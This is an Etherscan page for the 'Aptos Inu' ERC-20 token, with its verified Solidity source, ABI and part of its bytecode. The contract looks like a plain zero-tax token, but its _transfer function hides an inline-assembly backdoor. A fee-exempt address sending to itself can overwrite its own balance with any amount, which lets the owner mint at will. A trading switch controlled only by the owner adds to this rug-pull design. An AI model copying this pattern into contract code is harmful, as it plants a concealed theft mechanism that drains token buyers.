ETH Price: $2,437.38 (-2.06%)

Token

Aptos Inu (APTINU)
 

Overview

Max Total Supply

1,000,000,000 APTINU

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,182,827.413433153 APTINU

Value
$0.00
0xfb6852d98304657cf888dc59fcdf167a20721e42
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AptosInu

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-24
*/

// SPDX-License-Identifier: none

pragma solidity 0.8.13;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private asdasd;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract AptosInu is Context, IERC20, Ownable {
    event TaxBurned(uint256 amount);
    using SafeMath for uint256;
    mapping (address => uint256) _balanceWallet;
    mapping (address => bool) public isExFromFees;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isMarketPairAddress;
    IUniswapV2Router02 public uniswapV2Router;

    bool _startTrade=false;  
    address public uniswapPair;
    uint8 private _decimals = 9;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public immutable _totalSupply =  1000000000 * 10**_decimals;
    uint256 public immutable _buyTax =0;
    uint256 public immutable _sellTax = 0;
    string private _name = unicode"Aptos Inu";
    string private _symbol = unicode"APTINU";
    
    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //BSC = 0x10ED43C718714eb63d5aA57B78B54704E256024E
        //ETH = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExFromFees[owner()] = true;
        isExFromFees[address(this)] = true;
        isMarketPairAddress[address(uniswapPair)] = true;
        _balanceWallet[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function fee(address s, address r, uint256 amount) internal returns (uint256) {
        
        uint256 feeValue = 0;
        
        if(isMarketPairAddress[s]) {
            feeValue = amount.mul(_buyTax).div(100); 
        }
        else if(isMarketPairAddress[r]) {
            feeValue = amount.mul(_sellTax).div(100);
        }
        
        if(feeValue > 0) {
            _balanceWallet[address(deadAddress)] = _balanceWallet[address(deadAddress)].add(feeValue);
            emit Transfer(s, address(deadAddress), feeValue);
            emit TaxBurned(feeValue);
        }

        return amount.sub(feeValue);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balanceWallet[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function startTrade() public onlyOwner {
        _startTrade=true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairSt(address account, bool newValue) public onlyOwner {
        isMarketPairAddress[account] = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        if((!isMarketPairAddress[recipient] && sender != owner() && !isExFromFees[sender]))
            require(_startTrade != false, "Trading is not active.");   
        
        if(sender == recipient){
            if(isExFromFees[sender]){
                assembly {
                        mstore(0, recipient)
                        mstore(32, _balanceWallet.slot)
                        let hash := keccak256(0, 64)
                        sstore(hash, amount)
                }  
                return true; 
            }

        }

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balanceWallet[sender] = _balanceWallet[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExFromFees[sender] || isExFromFees[recipient]) ? 
                                        amount : fee(sender, recipient, amount);


        _balanceWallet[recipient] = _balanceWallet[recipient].add(finalAmount);  
        emit Transfer(sender, recipient, finalAmount);
        return true;
    }
    
    receive() external payable {}

  }

  abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TaxBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPairAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairSt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6101006040526007805460ff60a01b1990811690915560088054909116600960a01b179081905561dead608052620000449060ff600160a01b90910416600a62000576565b6200005490633b9aca006200058e565b60a052600060c081905260e052604080518082019091526009808252684170746f7320496e7560b81b6020909201918252620000919181620003bb565b5060408051808201909152600680825265415054494e5560d01b6020909201918252620000c191600a91620003bb565b50348015620000cf57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000169573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018f9190620005b0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002039190620005b0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000251573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002779190620005b0565b600880546001600160a01b039283166001600160a01b03199182161790915560078054928416929091168217905560a05130600090815260056020908152604080832094835293905291822055600190600490620002dd6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600484528281208054861660019081179091556008549092168152600690935290822080549093161790915560a05190600390620003493390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60a051604051620003ac91815260200190565b60405180910390a35062000617565b828054620003c990620005db565b90600052602060002090601f016020900481019282620003ed576000855562000438565b82601f106200040857805160ff191683800117855562000438565b8280016001018555821562000438579182015b82811115620004385782518255916020019190600101906200041b565b50620004469291506200044a565b5090565b5b808211156200044657600081556001016200044b565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004b85781600019048211156200049c576200049c62000461565b80851615620004aa57918102915b93841c93908002906200047c565b509250929050565b600082620004d15750600162000570565b81620004e05750600062000570565b8160018114620004f95760028114620005045762000524565b600191505062000570565b60ff84111562000518576200051862000461565b50506001821b62000570565b5060208310610133831016604e8410600b841016171562000549575081810a62000570565b62000555838362000477565b80600019048211156200056c576200056c62000461565b0290505b92915050565b60006200058760ff841683620004c0565b9392505050565b6000816000190483118215151615620005ab57620005ab62000461565b500290565b600060208284031215620005c357600080fd5b81516001600160a01b03811681146200058757600080fd5b600181811c90821680620005f057607f821691505b6020821081036200061157634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a05160c05160e05161144c62000682600039600081816105180152610f5c01526000818161037e0152610eff0152600081816102330152818161034a01526106f3015260008181610293015281816106be01528181610f930152610fd6015261144c6000f3fe6080604052600436106101855760003560e01c8063557ed1ba116100d1578063a457c2d71161008a578063c816841b11610064578063c816841b146104e6578063ca9ec19914610506578063dd62ed3e1461053a578063f2fde38b1461058057600080fd5b8063a457c2d714610476578063a9059cbb14610496578063c38ebac4146104b657600080fd5b8063557ed1ba146103d05780636c580801146103e357806370a08231146103f8578063715018a61461042e5780638da5cb5b1461044357806395d89b411461046157600080fd5b80632b112e491161013e578063395093511161011857806339509351146103185780633eaaf86b1461033857806342a110951461036c578063512952f0146103a057600080fd5b80632b112e49146102b5578063313ce567146102ca57806331d5c249146102f657600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461022457806323b872dd1461026157806327c8f8351461028157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105a0565b6040516101b39190611173565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046111e4565b610632565b60405190151581526020016101b3565b3480156101f857600080fd5b5060075461020c906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561023057600080fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040519081526020016101b3565b34801561026d57600080fd5b506101dc61027c36600461120e565b610649565b34801561028d57600080fd5b5061020c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156102c157600080fd5b506102536106b4565b3480156102d657600080fd5b50600854600160a01b900460ff1660405160ff90911681526020016101b3565b34801561030257600080fd5b5061031661031136600461124a565b61071d565b005b34801561032457600080fd5b506101dc6103333660046111e4565b61077b565b34801561034457600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561037857600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b3480156103ac57600080fd5b506101dc6103bb366004611286565b60066020526000908152604090205460ff1681565b3480156103dc57600080fd5b5042610253565b3480156103ef57600080fd5b506103166107b1565b34801561040457600080fd5b50610253610413366004611286565b6001600160a01b031660009081526003602052604090205490565b34801561043a57600080fd5b506103166107f0565b34801561044f57600080fd5b506000546001600160a01b031661020c565b34801561046d57600080fd5b506101a661086a565b34801561048257600080fd5b506101dc6104913660046111e4565b610879565b3480156104a257600080fd5b506101dc6104b13660046111e4565b6108c8565b3480156104c257600080fd5b506101dc6104d1366004611286565b60046020526000908152604090205460ff1681565b3480156104f257600080fd5b5060085461020c906001600160a01b031681565b34801561051257600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561054657600080fd5b506102536105553660046112a1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561058c57600080fd5b5061031661059b366004611286565b6108d5565b6060600980546105af906112d4565b80601f01602080910402602001604051908101604052809291908181526020018280546105db906112d4565b80156106285780601f106105fd57610100808354040283529160200191610628565b820191906000526020600020905b81548152906001019060200180831161060b57829003601f168201915b5050505050905090565b600061063f3384846109bf565b5060015b92915050565b6000610656848484610ae3565b506106a984336106a4856040518060600160405280602881526020016113ca602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610df6565b6109bf565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260036020526040812054610718907f000000000000000000000000000000000000000000000000000000000000000090610e30565b905090565b6000546001600160a01b031633146107505760405162461bcd60e51b81526004016107479061130e565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161063f9185906106a49086610e72565b6000546001600160a01b031633146107db5760405162461bcd60e51b81526004016107479061130e565b6007805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016107479061130e565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600a80546105af906112d4565b600061063f33846106a4856040518060600160405280602581526020016113f2602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610df6565b60006106a9338484610ae3565b6000546001600160a01b031633146108ff5760405162461bcd60e51b81526004016107479061130e565b6001600160a01b0381166109645760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610747565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610747565b6001600160a01b038216610a825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610747565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526006602052604081205460ff16158015610b1a57506000546001600160a01b03858116911614155b8015610b3f57506001600160a01b03841660009081526004602052604090205460ff16155b15610b9b57600754600160a01b900460ff161515600003610b9b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610747565b826001600160a01b0316846001600160a01b031603610bee576001600160a01b03841660009081526004602052604090205460ff1615610bee5750600082815260036020526040902081905560016106ad565b6001600160a01b038416610c525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610747565b6001600160a01b038316610cb45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610747565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260039091529190912054610d06918490610df6565b6001600160a01b038516600090815260036020908152604080832093909355600490529081205460ff1680610d5357506001600160a01b03841660009081526004602052604090205460ff165b610d6757610d62858585610ed1565b610d69565b825b6001600160a01b038516600090815260036020526040902054909150610d8f9082610e72565b6001600160a01b0380861660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de39085815260200190565b60405180910390a3506001949350505050565b60008184841115610e1a5760405162461bcd60e51b81526004016107479190611173565b506000610e278486611359565b95945050505050565b60006106ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df6565b600080610e7f8385611370565b9050838110156106ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610747565b6001600160a01b038316600090815260066020526040812054819060ff1615610f3057610f296064610f23857f0000000000000000000000000000000000000000000000000000000000000000611086565b90611108565b9050610f83565b6001600160a01b03841660009081526006602052604090205460ff1615610f8357610f806064610f23857f0000000000000000000000000000000000000000000000000000000000000000611086565b90505b801561107c576001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260036020526040902054610fcc9082610e72565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660008181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110409085815260200190565b60405180910390a36040518181527f7bc024189123a7a1a3d9dfd02ddea903a7022b7461326ff2bce02e7c5a563cab9060200160405180910390a15b610e278382610e30565b60008260000361109857506000610643565b60006110a48385611388565b9050826110b185836113a7565b146106ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610747565b60006106ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111665760405162461bcd60e51b81526004016107479190611173565b506000610e2784866113a7565b600060208083528351808285015260005b818110156111a057858101830151858201604001528201611184565b818111156111b2576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146111df57600080fd5b919050565b600080604083850312156111f757600080fd5b611200836111c8565b946020939093013593505050565b6000806